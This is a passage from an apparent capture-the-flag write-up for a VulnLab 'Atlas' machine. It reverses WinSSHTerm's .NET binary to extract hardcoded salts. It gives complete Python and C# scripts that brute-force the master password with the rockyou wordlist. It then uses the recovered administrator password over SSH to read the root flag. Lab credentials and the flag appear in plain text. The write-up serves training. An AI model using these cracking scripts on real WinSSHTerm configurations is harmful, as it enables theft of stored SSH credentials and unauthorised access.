----                 -------------         ------ ----                                                                 
-a----        30/06/2023     22:20            676 connections.xml                                                      
-a----        28/06/2023     17:37            113 key                                                                  
-a----        30/06/2023     22:20           3620 layout.xml                                                           
-a----        28/06/2023     17:37           8952 preferences.xml                                                      
PS C:\Users\john\Downloads\WinSSHTerm\config> type connections.xml

<?xml version="1.0" encoding="utf-8"?>
<WinSSHTerm Version="1" VerifyKey="j6JcYjnkh7coSbefT7+8jHI+49cgPWAt4XHQ76M6Op0jEzaa+QxpxEk4T9ci9P8wLgORRde5KSb3TmT05AnfWQ==">
	<Node Name="Admin SSH" Type="Connection" Descr="" Username="administrator" Password="VmgFP/ooNadVdVQI5UmW3e5dISTQG8+fQ+wMJHtaATFI46G73XREnctiYbOdPYNR" PrivateKey="" Hostname="127.0.0.1" Port="22" CustomPath="" LoginCmds="" CmdLineArgs="" EnvCol="" CustomId="" cfProt="" cfLogFile="" cfLogLevel="" sAgentFwd="" sTermType="" sLogType="" sLogFileName="" sTCP="" sX11="" sSb="" sCS="" sCSHR="" pSshProxy="disabled" pType="Jump Server" pHost="" pPort="22" pUser="" pPassword="" pPrivKey="" />
</WinSSHTerm>

Found j6JcYjnkh7coSbefT7+8jHI+49cgPWAt4XHQ76M6Op0jEzaa+QxpxEk4T9ci9P8wLgORRde5KSb3TmT05AnfWQ== a base64 encoded password for the user administrator

Copy WinSSHTerm to the FTP folder:

PS C:\Users\john\Downloads> xcopy WinSSHTerm c:\ftp\winsshterm /s /i
WinSSHTerm\README.txt
WinSSHTerm\WinSSHTerm.exe
WinSSHTerm\config\connections.xml
WinSSHTerm\config\key
WinSSHTerm\config\layout.xml
WinSSHTerm\config\preferences.xml
6 File(s) copied

Then download to our machine:

$ wget -r ftp://anonymous:1234@atlas/winsshterm

When launch it, a password is asked:

image

Source code analyzing

$ file WinSSHTerm.exe                
WinSSHTerm.exe: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows, 2 sections

.Net App

We start analysis using ILSpy:

image

  • Found some encrypt and decrypt methods
  • DecryptWithMP seems related to Decryp With Master Password

Let’s check the AESCrypt.a method which is called from DecryptWithMP:

image

  • We see that takes a string (P_1) and add a byte array to this and create a rfc289DeriveBytes object
  • We can see also that uses SaltKey, it’s hardcoded salt

As we want to debug a little bit, then we switch to dnSpy because ILSpy did not have the debugging feature since the v2.0.

We add a break point to cryptoStream, start the app and try to enter the password “test” to check how this will work.

We can see that our provided password will also be salted with some hardcoded value:

image

So, now we take a look to the the key file (in config/key), upload it to cyberchef, convert it to Hex:

image

image

It’s equal to our array in the code (just need to exclude the first byte of the key file)

Pasted image 20230628183107

Found one pitfall, some passwords will not cause a decrypt exception but are still wrong

We debug that and we can see that the program will failed on the next step (convert from base64):

image

Password brute-forcing (Atlas_Root)

We have enough analyzed to write a brute-forcing tool and try to crack the master password.

We can copy/paste the most of code out from dnspy and only add:

  • loading the key file
  • strip the first byte
  • use a while loop for loading the passwords from the rockyou wordlist
  • loop until we have no decrypt execption
  • check if we can base64 decode
  1. With Python:

Below the python script to decrypt the master password:

from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
from tqdm import tqdm

keyfile = b"\x02\x47\xA9\x2C\xC9\x7C\x1E\x80\xE5\xE5\xE7\xF6\x47\xA5\x88\x35\x0A\xFF\xBF\x26\xFA\xF4\xC0\x26\x42\x8B\x24\x05\xA5\xEA\x6F\xCB\x87\x46\xBC\x14\x5C\x19\x54\x69\x93\xF3\x7C\x8A\xA0\x4C\x74\xC2\xE6\xD7\xBC\x47\x81\xB9\x11\x74\x46\xFA\x09\xAD\x28\x6B\x2A\xA4\x6F\x1E\xBC\x65\x59\xB2\x8C\x53\xD7\x96\x6D\x8F\x41\x20\x74\x1F\x79\x70\x73\xBA\xCD\xEF\x3D\x58\x9F\xB2\xDE\x76\xC1\xAD\x96\xD1\x74\x45\xB6\xA2\x40\x7C\x14\x22\x1D\x88\xFF\x9D\xCA\x57\x79\x75\x91"

# static from binary
suffix = bytes([116, 53, 55, 105, 46, 33, 103, 100, 57, 195, 182, 195, 159, 102, 116, 121])
salt = bytes([59, 218, 49, 183, 72, 5, 80, 227, 188, 102, 4, 109, 239, 201, 81, 168])
prefix = b'h7ko%.rdz.WFxsS218LK'

# wordlist
passwords = open("/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt","r").read().split("\n")

for password in tqdm(passwords):
 key_iv = pbkdf2_hmac('sha1', prefix + password.encode() + suffix, salt, 1012, dklen = 32 + 16)

 key = key_iv[:32]
 iv = key_iv[32:]

 # decrypt
 aes = AES.new(key, AES.MODE_CBC, iv)

 result = aes.decrypt(keyfile[1:])

 if suffix in result:
  # unpad
  result = result[:-(result[-1])]
  # remove check
  result = result[:-16]
  print(f"Found password: {password} - result: {result}")
  break

Then use it:

$ python3 bruteforce.py
  6%|████▊                                                                                   | 3272/59187 [00:01<00:30, 1813.98it/s]Found password: hottie101 - result: b'z9fPzzvhCGlH1Xq4YGzZGEcKZ944DK0c7Agg0PcBfERv0H6VhAIhLOSZvbDj9yVzXydQZsRnjPHgDhwltCAqxQ=='
  6%|████▉

Found hottie101

  1. With C# console app (with Visual Studio):

image

// Atlas_bruteforce.cs
// See https://aka.ms/new-console-template for more information
using System;
using System.Buffers.Text;
using System.Diagnostics.Metrics;
using System.IO;
using System.Security.Cryptography;
using System.Text;

// loading key file
byte[] keyFileArray = File.ReadAllBytes("C:\\Users\\01214830\\Downloads\\VULNLAB\\ATLAS\\winsshterm\\config\\key");

// strip the first byte
byte[] keyArray = keyFileArray[1..];

// using wordlist
using (StreamReader sr = File.OpenText("C:\\Users\\01214830\\Downloads\\VULNLAB\\ATLAS\\rockyou-75.txt"))
{
    string password = String.Empty;
    Boolean found = false;
    while ((password = sr.ReadLine()) != null && found == false)
    {
        Rfc2898DeriveBytes rfc2898DeriveBytes;

        // add the hardcoded salts
        rfc2898DeriveBytes = new Rfc2898DeriveBytes("h7ko%.rdz.WFxsS218LK" + password + Encoding.UTF8.GetString(new byte[]
            {
        116,
        53,
        55,
        105,
        46,
        33,
        103,
        100,
        57,
        195,
        182,
        195,
        159,
        102,
        116,
        121
            }), new byte[]
            {
        59,
        218,
        49,
        183,
        72,
        5,
        80,
        227,
        188,
        102,
        4,
        109,
        239,
        201,
        81,
        168
            }, 1012);

        AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
        aesCryptoServiceProvider.KeySize = 256;
        aesCryptoServiceProvider.BlockSize = 128;
        aesCryptoServiceProvider.Key = rfc2898DeriveBytes.GetBytes(aesCryptoServiceProvider.KeySize / 8);
        aesCryptoServiceProvider.IV = rfc2898DeriveBytes.GetBytes(aesCryptoServiceProvider.BlockSize / 8);
        MemoryStream memoryStream = new MemoryStream();
        CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
        string result = "";

        try
        {
            cryptoStream.Write(keyArray, 0, keyArray.Length);
            cryptoStream.FlushFinalBlock();
            cryptoStream.Close();
            string @string = Encoding.UTF8.GetString(memoryStream.ToArray());
            memoryStream.Close();
            aesCryptoServiceProvider.Clear();
            result = @string.Substring(0, checked(@string.Length - 14));

            // check if its valid base64
            Span<byte> buffer = new Span<byte>(new byte[result.Length]);
            if (!Convert.TryFromBase64String(result, buffer, out int bytesParsed))
            {
                // Password is wrong
                result = "";
            }
        }

        catch (CryptographicException ex)
        {
            // Password is wrong
            //throw new CryptographicException();
            result = "";

        }
        catch (Exception ex2)
        {
            // Password is wrong
            result = "";
        }

        if (!result.Equals(""))
        {

            Console.WriteLine("found decrypted password: " + password);
            found = true;
        }

    }
}

Then launch it and retrieve the master password:

image

With this password we can open WinSSHTerm then we obtain the admin’s password:

image

Found Administrator:lzm2wx3Fn7q7gBLDRuf4

We use these credentials to connect via SSH (or RDP) then grab the Atlas_Root flag:

$ sshpass -p 'lzm2wx3Fn7q7gBLDRuf4' ssh administrator@atlas -oStrictHostKeyChecking=accept-new -oStrictHostKeyChecking=no

Microsoft Windows [Version 10.0.19045.3086]
(c) Microsoft Corporation. All rights reserved.

administrator@ATLAS C:\Users\Administrator>type Desktop\root.txt
VL{edc7a3cea5949e045660b8f8169584e4}   

Back to our current latest Java too:

$ sudo update-alternatives --config java 
[sudo] password for user: 
There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                         Priority   Status
------------------------------------------------------------
  0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      auto mode
* 1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java   1111      manual mode
  2            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      manual mode

Press <enter> to keep the current choice[*], or type selection number: 0
update-alternatives: using /usr/lib/jvm/java-21-openjdk-amd64/bin/java to provide /usr/bin/java (java) in auto mode
                                                                                                                                    
$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 21.0.5 2024-10-15
OpenJDK Runtime Environment (build 21.0.5+11-Debian-1)
OpenJDK 64-Bit Server VM (build 21.0.5+11-Debian-1, mixed mode, sharing)

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=092ef156-f2eb-4552-bd17-e67ecc7e46dd

F2YZGGSXwAgiv9E